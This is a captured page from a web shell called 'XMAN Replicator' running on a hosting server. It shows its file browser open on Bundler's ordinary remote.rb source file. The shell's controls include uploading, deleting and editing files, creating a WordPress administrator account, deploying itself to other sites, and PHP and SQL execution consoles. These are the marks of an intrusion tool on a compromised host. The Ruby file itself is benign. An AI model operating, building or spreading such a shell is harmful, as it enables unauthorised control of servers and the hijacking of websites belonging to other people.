🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
alt
/
ruby40
/
share
/
gems
/
gems
/
bundler-4.0.10
/
lib
/
bundler
/
source
/
rubygems
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-06-09 05:02
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-06-09 05:02
🔄
🗑️
🗑️📁
⬇️
🔒
remote.rb
2,160 B
-rw-r--r--
2026-05-21 12:15
✏️
🔄
🗑️
⬇️
🔒
Edit: remote.rb
# frozen_string_literal: true module Bundler class Source class Rubygems class Remote attr_reader :uri, :anonymized_uri, :original_uri def initialize(uri) orig_uri = uri uri = Bundler.settings.mirror_for(uri) @original_uri = orig_uri if orig_uri != uri fallback_auth = Bundler.settings.credentials_for(uri) @uri = apply_auth(uri, fallback_auth).freeze @anonymized_uri = remove_auth(@uri).freeze end MAX_CACHE_SLUG_HOST_SIZE = 255 - 1 - 32 # 255 minus dot minus MD5 length private_constant :MAX_CACHE_SLUG_HOST_SIZE # @return [String] A slug suitable for use as a cache key for this # remote. # def cache_slug @cache_slug ||= begin return nil unless SharedHelpers.md5_available? cache_uri = original_uri || uri host = cache_uri.to_s.start_with?("file://") ? nil : cache_uri.host uri_parts = [host, cache_uri.user, cache_uri.port, cache_uri.path] uri_parts.compact! uri_digest = SharedHelpers.digest(:MD5).hexdigest(uri_parts.join(".")) uri_parts.pop host_parts = uri_parts.join(".") return uri_digest if host_parts.empty? shortened_host_parts = host_parts[0...MAX_CACHE_SLUG_HOST_SIZE] [shortened_host_parts, uri_digest].join(".") end end def to_s "rubygems remote at #{anonymized_uri}" end private def apply_auth(uri, auth) if auth && uri.userinfo.nil? uri = uri.dup uri.userinfo = auth end uri rescue Gem::URI::InvalidComponentError error_message = "Please CGI escape your usernames and passwords before " \ "setting them for authentication." raise HTTPError.new(error_message) end def remove_auth(uri) if uri.userinfo uri = uri.dup uri.user = uri.password = nil end uri end end end end end
Save
PHP Console
Execute
SQL Console
Execute